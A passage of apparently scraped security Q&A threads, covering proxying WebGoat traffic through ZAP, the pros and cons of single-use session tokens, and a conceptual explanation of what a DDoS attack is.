Anyway, prepare yourself to setup an own CA. ;)


Not able to see WebGoat requests in ZAP proxy I have configured ZAP to port 8090 and also Firefox to 8090, but I am unable to see any requests from WebGoat lessons, whatsoever, except the initial request of http://detectportal.firefox.com. Herewith attached the screenshot of Firefox and ZAP Proxy.

What am I missing here? Thanks beforehand.

Have a look at your Firefox proxy settings again.

By default Firefox will set 'No proxy for' 127.0.0.1 and localhost. If you've got WebGoat running locally then you'll want to clear that field so that Firefox proxies local requests through ZAP.


Effects of new random Session token for each HTTP Request On successful authentcation, a web application issues a session cookie that is a constant length string of apparently random hex characters.

2E5F0FE4B7FCAB78CD967B46AB32915CCBFDC85316FAFB9174BDC4A3745339D8AD9C1D70A8EDD3D4F06107F3B1A67E85AEB1CB04F563818BC5D029D9E956652ED0F8F93E7A7EFD1E2E59DF1D378424964541E2C9B8A41436D0092A4114FBC4FA702A94C5090C34D97A3310F88CD3E9BDC8553230343BB1E4641F848102DF9B96AA81D6407273F774CFBD3E3FD68CAF84654B21E177A36DE7FB09EFC5A50A5253E1B5F5D6C5082A01D756CC68680FE1FBCA64CD72F1D6B1865C6FFC4B6BB8DE2C2B510731103F18DDA2289515F604632A26BD68B0E03647B854243EAFD7264B0765F45279BD6735E26D58DF720D5B9061EF316730

This session cookie is submitted for each HTTP request and the response contains a different value each time, meaning that this value is only ever used once. Any changes to this value will invalidate the session.

I usually see a session token values that is used many times for an entire auth session.
In terms of the 'single use' arrangement described above, I see:

Benefits

reduced risk of hijacked session as value is less likely to be valid when an attacker attempts use

Disadvantages

increased computation resources required to generate non-random token
each time
possible entropy drain of host OS from constant PRNG use

Are there any other considerations that I am missing here?
Thanks

This solution would help to protect against a replay attack form a passive listener, but in if you were doing the session over HTTPS (as you always should), it would be hard to replay in any case.

One think I'd recommend you think about is what happens if the client doesn't receive one of the sessions for whatever reason.  Do you accept any of the last 5? Do they have to reauthenticate?


How can someone DDoS me? If I've not opened the port 80, how can someone DDoS me?

Is there a method or is it possible?

Someone said that it's possible, but I'm not so sure, that's why I'm asking here.

I think your confusion comes from not quite understanding exactly what comrpises a DDoS attack.

DDoS means Distributed Denial Of Service

Let's take off "Distributed" for now, and break down what this means.

Denial Of Service. Rendering something unusable is about the best way to say this in a generic, non-computer or technology specific way. That family of slow, ignorant people who walk side-by-side in the mall and block everyone? They are, essentially, a Denial of Service attack on their fellow mall dwellers. They make it hard or impossible to walk swiftly down the hallway in the mall.

If I write a script that constantly tries to brute force guess the login credentials to your SSH server, and it sends so much traffic that neither you nor anyone else can get a prompt from the server to try THEIR credentials, then I am denying you and them access to the SSH server, aka Denying access to the Service.

It has nothing implicitly to do with tcp/80. That's just a popular port to attack because Internetz.

A bunch of hippies standing, locked arms, around a government building, making it so someone can't easily cross their line and enter the building? That is also a denial of service.

However, these are all cases of denying OVERT or ACTIVE services. Consider the old-school Ping of Death. A ping packet that has no end (or at least, is bigger than the RFC spec), is a Denial of Service if your system is too old to know how to respond and thus crashes. Your system is down, and I have denied you the use of it. DOS.

If I throw so much traffic at your IP that your router/nic/modem can't reject or drop it fast enough, I am DOSing your system.

Now the ONLY difference with a DISTRIBUTED DOS is the source of the attack. Distributed implies multiple sources are attacking the same target(s) in a somewhat coordinated manner.

If you DOS me from your home IP, I call up The Internet Police (lol) and tell them to block your traffic upstream from me. Problem solved. With a DDoS, they have to block traffic from MANY sources. And an effective DDoS keeps changing sources.

Hope that helps!